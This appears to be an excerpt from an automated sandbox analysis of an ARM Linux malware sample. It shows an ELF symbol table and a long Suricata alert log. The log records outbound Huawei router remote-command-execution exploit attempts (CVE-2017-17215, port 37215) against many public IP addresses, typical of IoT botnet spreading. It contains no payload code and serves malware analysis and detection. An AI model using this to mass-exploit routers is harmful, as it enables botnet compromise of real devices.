__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x18d70	100	FUNC	<unknown>	DEFAULT	2
__open_etc_hosts	.symtab	0x1efa0	48	FUNC	<unknown>	HIDDEN	2
__open_nameservers	.symtab	0x1e25c	1116	FUNC	<unknown>	HIDDEN	2
__open_nocancel	.symtab	0x18d54	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x34c3c	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x2e004	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x2e004	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x2e450	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x2e454	4	OBJECT	<unknown>	DEFAULT	13
__pthread_initialize_minimal	.symtab	0x1cab8	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x1906c	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x19064	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x19064	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x19064	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x19064	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x18e90	100	FUNC	<unknown>	DEFAULT	2
__read_etc_hosts_r	.symtab	0x1efd0	536	FUNC	<unknown>	HIDDEN	2
__read_nocancel	.symtab	0x18e74	24	FUNC	<unknown>	DEFAULT	2
__register_atfork	.symtab	0x188c8	392	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__res_sync	.symtab	0x356b0	4	OBJECT	<unknown>	HIDDEN	14
__resolv_attempts	.symtab	0x2e45f	1	OBJECT	<unknown>	HIDDEN	13
__resolv_lock	.symtab	0x3518c	24	OBJECT	<unknown>	DEFAULT	14
__resolv_timeout	.symtab	0x2e45e	1	OBJECT	<unknown>	HIDDEN	13
__restore_core_regs	.symtab	0x20b4c	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x34c44	4	OBJECT	<unknown>	HIDDEN	14
__searchdomain	.symtab	0x356b4	4	OBJECT	<unknown>	HIDDEN	14
__searchdomains	.symtab	0x356c0	4	OBJECT	<unknown>	HIDDEN	14
__sigaddset	.symtab	0x15d28	36	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x15d4c	36	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x15d04	36	FUNC	<unknown>	DEFAULT	2
__sigjmp_save	.symtab	0x1eae0	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x1cbac	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x2e27c	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x1cee4	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x1a4f0	220	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x1cf3c	200	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x1a5cc	320	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x1d004	48	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x1d0d8	60	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x1d034	164	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x1a70c	220	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x13bfc	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x2e280	4	OBJECT	<unknown>	DEFAULT	13
__subdf3	.symtab	0x1f44c	788	FUNC	<unknown>	HIDDEN	2
__sys_connect	.symtab	0x15700	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x15844	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x158f8	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x159c8	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x15a7c	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x19638	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x1992c	64	FUNC	<unknown>	DEFAULT	2
__syscall_poll	.symtab	0x1eba4	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x19720	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x12e5c	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x1c864	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x190a8	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x19178	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x191d0	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x2e44c	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0x12898	252	FUNC	<unknown>	HIDDEN	2
__vfork	.symtab	0x18390	112	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x18e00	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x18de4	24	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r	.symtab	0x15410	268	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat32_conv	.symtab	0x19b50	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x19a84	204	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_bss_custom_printf_spec	.symtab	0x34508	10	OBJECT	<unknown>	DEFAULT	14
_bss_end__	.symtab	0x356c4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_call_via_fp	.symtab	0x811d	4	FUNC	<unknown>	HIDDEN	2
_call_via_ip	.symtab	0x8121	4	FUNC	<unknown>	HIDDEN	2
_call_via_lr	.symtab	0x8129	4	FUNC	<unknown>	HIDDEN	2
_call_via_r0	.symtab	0x80f1	4	FUNC	<unknown>	HIDDEN	2
_call_via_r1	.symtab	0x80f5	4	FUNC	<unknown>	HIDDEN	2
_call_via_r2	.symtab	0x80f9	4	FUNC	<unknown>	HIDDEN	2
_call_via_r3	.symtab	0x80fd	4	FUNC	<unknown>	HIDDEN	2
_call_via_r4	.symtab	0x8101	4	FUNC	<unknown>	HIDDEN	2
_call_via_r5	.symtab	0x8105	4	FUNC	<unknown>	HIDDEN	2
_call_via_r6	.symtab	0x8109	4	FUNC	<unknown>	HIDDEN	2
_call_via_r7	.symtab	0x810d	4	FUNC	<unknown>	HIDDEN	2
_call_via_r8	.symtab	0x8111	4	FUNC	<unknown>	HIDDEN	2
_call_via_r9	.symtab	0x8115	4	FUNC	<unknown>	HIDDEN	2
_call_via_sl	.symtab	0x8119	4	FUNC	<unknown>	HIDDEN	2
_call_via_sp	.symtab	0x8125	4	FUNC	<unknown>	HIDDEN	2
_charpad	.symtab	0x13c2c	84	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_custom_printf_arginfo	.symtab	0x352ac	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_handler	.symtab	0x352d4	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_spec	.symtab	0x2e354	4	OBJECT	<unknown>	HIDDEN	13
_dl_aux_init	.symtab	0x1cac4	56	FUNC	<unknown>	DEFAULT	2
_dl_init_static_tls	.symtab	0x2e458	4	OBJECT	<unknown>	DEFAULT	13
_dl_nothread_init_static_tls	.symtab	0x1cafc	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x356a8	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x356ac	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x3569c	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x35698	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x356a0	4	OBJECT	<unknown>	DEFAULT	14

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T11:58:11.309755+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59844	156.250.122.117	37215	TCP
2024-12-30T11:58:11.467238+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49830	41.93.37.249	37215	TCP
2024-12-30T11:58:11.512409+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41620	156.249.168.197	37215	TCP
2024-12-30T11:58:11.887593+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37514	156.247.235.165	37215	TCP
2024-12-30T11:58:11.887606+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43964	41.74.164.208	37215	TCP
2024-12-30T11:58:11.887606+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41078	197.38.231.199	37215	TCP
2024-12-30T11:58:11.887608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44952	197.60.116.58	37215	TCP
2024-12-30T11:58:11.887608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38412	197.163.40.97	37215	TCP
2024-12-30T11:58:11.891543+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43348	156.101.11.103	37215	TCP
2024-12-30T11:58:11.891551+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53378	41.214.248.109	37215	TCP
2024-12-30T11:58:11.891551+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40526	197.24.201.80	37215	TCP
2024-12-30T11:58:11.891558+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39390	41.34.96.228	37215	TCP
2024-12-30T11:58:11.891560+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53256	156.68.68.240	37215	TCP
2024-12-30T11:58:11.891562+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45366	41.108.183.127	37215	TCP
2024-12-30T11:58:11.895441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42920	41.200.70.248	37215	TCP
2024-12-30T11:58:11.895441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49140	41.206.210.106	37215	TCP
2024-12-30T11:58:11.895442+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37548	197.142.229.57	37215	TCP
2024-12-30T11:58:11.895446+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35340	156.244.154.48	37215	TCP
2024-12-30T11:58:11.895450+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38694	41.26.212.241	37215	TCP
2024-12-30T11:58:11.895450+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58980	197.124.218.69	37215	TCP
2024-12-30T11:58:11.899440+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56700	156.21.249.218	37215	TCP
2024-12-30T11:58:11.899441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49356	41.117.136.128	37215	TCP
2024-12-30T11:58:11.899447+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56828	197.240.32.99	37215	TCP
2024-12-30T11:58:11.899452+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42628	197.177.99.168	37215	TCP
2024-12-30T11:58:11.899455+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59540	41.188.197.53	37215	TCP
2024-12-30T11:58:11.899456+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47588	197.54.40.227	37215	TCP
2024-12-30T11:58:11.903435+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40788	156.129.228.150	37215	TCP
2024-12-30T11:58:11.903436+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45980	197.171.72.135	37215	TCP
2024-12-30T11:58:11.903438+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39272	197.61.151.147	37215	TCP
2024-12-30T11:58:11.903441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36872	197.9.236.17	37215	TCP
2024-12-30T11:58:11.903446+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49452	197.240.74.165	37215	TCP
2024-12-30T11:58:11.903446+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34514	156.192.234.226	37215	TCP
2024-12-30T11:58:11.907437+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49096	156.209.217.158	37215	TCP
2024-12-30T11:58:11.907444+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33688	156.0.240.208	37215	TCP
2024-12-30T11:58:11.907444+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39874	156.7.148.95	37215	TCP
2024-12-30T11:58:11.907444+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54742	156.175.150.37	37215	TCP
2024-12-30T11:58:11.907448+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49988	156.130.26.19	37215	TCP
2024-12-30T11:58:11.911444+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36618	156.220.73.34	37215	TCP
2024-12-30T11:58:11.911449+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46304	156.201.245.6	37215	TCP
2024-12-30T11:58:11.911452+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51876	197.102.24.126	37215	TCP
2024-12-30T11:58:11.911457+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56470	41.195.253.254	37215	TCP
2024-12-30T11:58:11.911461+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53724	197.211.16.173	37215	TCP
2024-12-30T11:58:11.911465+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41286	197.36.89.140	37215	TCP
2024-12-30T11:58:11.915450+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52184	156.184.181.194	37215	TCP
2024-12-30T11:58:11.915450+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58902	197.39.32.108	37215	TCP
2024-12-30T11:58:11.915475+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53748	197.195.57.53	37215	TCP
2024-12-30T11:58:11.915475+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46758	156.131.101.202	37215	TCP
2024-12-30T11:58:11.915475+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37340	41.245.134.247	37215	TCP
2024-12-30T11:58:11.919438+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44756	156.207.249.17	37215	TCP
2024-12-30T11:58:11.919438+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55486	41.171.127.49	37215	TCP
2024-12-30T11:58:11.919444+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55256	197.210.230.82	37215	TCP
2024-12-30T11:58:11.919445+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60702	156.244.77.93	37215	TCP
2024-12-30T11:58:11.919446+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53652	156.95.34.112	37215	TCP
2024-12-30T11:58:11.919459+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46600	41.50.141.94	37215	TCP
2024-12-30T11:58:11.927481+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44114	197.184.115.105	37215	TCP
2024-12-30T11:58:13.995708+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53042	156.250.125.228	37215	TCP
2024-12-30T11:58:14.253395+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33194	197.129.120.114	37215	TCP
2024-12-30T11:58:15.898632+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44970	197.9.24.62	37215	TCP
2024-12-30T11:58:16.825136+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55144	197.9.255.10	37215	TCP
2024-12-30T11:58:17.614991+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34256	156.251.134.233	37215	TCP
2024-12-30T11:58:18.917070+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44634	197.8.182.204	37215	TCP
2024-12-30T11:58:19.565922+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42512	197.7.157.123	37215	TCP
2024-12-30T11:58:21.351725+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56432	156.73.13.229	37215	TCP
2024-12-30T11:58:22.554873+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35010	197.9.234.117	37215	TCP
2024-12-30T11:58:26.261519+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54126	156.250.195.11	37215	TCP
2024-12-30T11:58:27.023066+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49986	41.44.230.122	37215	TCP
2024-12-30T11:58:27.290067+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48428	156.224.35.19	37215	TCP
2024-12-30T11:58:28.329764+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60780	156.254.188.23	37215	TCP
2024-12-30T11:58:28.551347+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48852	197.6.107.53	37215	TCP
2024-12-30T11:58:28.819592+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55260	156.235.57.57	37215	TCP
2024-12-30T11:58:28.819593+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43954	156.225.70.162	37215	TCP
2024-12-30T11:58:29.504712+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42506	156.73.148.219	37215	TCP
2024-12-30T11:58:29.799977+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33814	41.174.45.228	37215	TCP
2024-12-30T11:58:30.237712+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59390	197.255.223.33	37215	TCP
2024-12-30T11:58:30.358060+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45056	156.255.70.75	37215	TCP
2024-12-30T11:58:30.519645+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45638	156.73.12.139	37215	TCP
2024-12-30T11:58:30.634797+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50356	197.43.82.176	37215	TCP
2024-12-30T11:58:30.635091+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44576	156.208.82.65	37215	TCP
2024-12-30T11:58:30.635239+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51388	41.100.232.209	37215	TCP
2024-12-30T11:58:30.635335+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34922	156.115.166.195	37215	TCP
2024-12-30T11:58:30.635437+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52204	41.230.93.192	37215	TCP
2024-12-30T11:58:30.635540+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40894	156.126.87.54	37215	TCP
2024-12-30T11:58:30.635600+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50942	197.93.214.96	37215	TCP
2024-12-30T11:58:30.635700+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33168	156.198.240.187	37215	TCP
2024-12-30T11:58:30.635924+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41748	156.66.117.24	37215	TCP
2024-12-30T11:58:30.636060+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44682	41.190.138.231	37215	TCP
2024-12-30T11:58:30.636113+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45546	197.10.122.150	37215	TCP
2024-12-30T11:58:30.636225+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60192	156.220.33.161	37215	TCP
2024-12-30T11:58:30.636417+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42864	41.141.245.214	37215	TCP
2024-12-30T11:58:30.636448+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50402	156.4.47.247	37215	TCP
2024-12-30T11:58:30.636566+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42242	156.218.41.66	37215	TCP
2024-12-30T11:58:30.636782+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60198	197.213.129.24	37215	TCP
2024-12-30T11:58:30.636803+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46578	156.24.249.131	37215	TCP
2024-12-30T11:58:30.636983+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45996	41.6.142.82	37215	TCP
2024-12-30T11:58:30.637044+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34260	156.19.251.73	37215	TCP
2024-12-30T11:58:30.637149+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56480	156.91.93.189	37215	TCP
2024-12-30T11:58:30.637233+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37976	197.127.113.212	37215	TCP
2024-12-30T11:58:30.637360+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43280	156.222.193.117	37215	TCP
2024-12-30T11:58:30.637536+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49692	41.74.205.213	37215	TCP
2024-12-30T11:58:30.637614+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51962	197.145.123.247	37215	TCP
2024-12-30T11:58:30.637695+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40476	156.162.4.202	37215	TCP
2024-12-30T11:58:30.638182+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54414	41.161.13.63	37215	TCP
2024-12-30T11:58:30.639283+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42792	156.213.8.113	37215	TCP
2024-12-30T11:58:30.640652+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48962	156.154.160.13	37215	TCP
2024-12-30T11:58:30.640738+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39968	41.116.48.51	37215	TCP
2024-12-30T11:58:30.650147+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52454	197.243.215.210	37215	TCP
2024-12-30T11:58:30.650745+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46752	41.190.172.111	37215	TCP
2024-12-30T11:58:30.650935+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37536	156.27.27.250	37215	TCP
2024-12-30T11:58:30.650964+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49334	197.47.205.27	37215	TCP
2024-12-30T11:58:30.651051+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46980	197.177.118.14	37215	TCP
2024-12-30T11:58:30.651393+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37328	41.90.16.2	37215	TCP
2024-12-30T11:58:30.652437+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60468	197.198.45.54	37215	TCP
2024-12-30T11:58:30.656245+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53122	156.71.108.54	37215	TCP
